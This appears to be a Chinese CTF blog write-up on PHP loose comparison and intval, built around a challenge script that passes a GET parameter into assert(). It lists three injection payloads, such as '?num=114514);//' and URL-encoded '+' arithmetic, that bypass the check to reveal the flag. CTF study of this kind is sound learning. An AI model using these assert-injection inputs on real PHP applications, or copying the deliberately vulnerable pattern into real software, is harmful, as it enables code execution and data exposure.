intval函数(续)

还是要提一下弱口令(==)

弱口令比较的过程中,如果数字开头会提取开头的数字,然后比较。如果开头是字符串,会转化为0,然后比较(===为强口令比较,会先判断类型,在比较值):

​ ‘123abc’ == 123 TRUE

​ ‘bac123’ == 123 FALSE

​ ‘abc123’ == 0 TRUE

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("no no no");
echo $flag;
}
}

payload:

1
2
3
4
5
6
1.?num=114514);//
num=114514进入条件,然后通过//注释掉后面的部分,直接将后边内容注释掉,执行echo $flag;
2.?num=114514%2b1805296
%2b是+号的url编码,让其值计算相加等于1919810,可以输出flag
3.?num=114514%2b1919810-114514
识别出来还是1919810

intval函数(续)
http://example.com/2024/12/11/intval函数(续)/
作者
John Doe
发布于
2024年12月11日
许可协议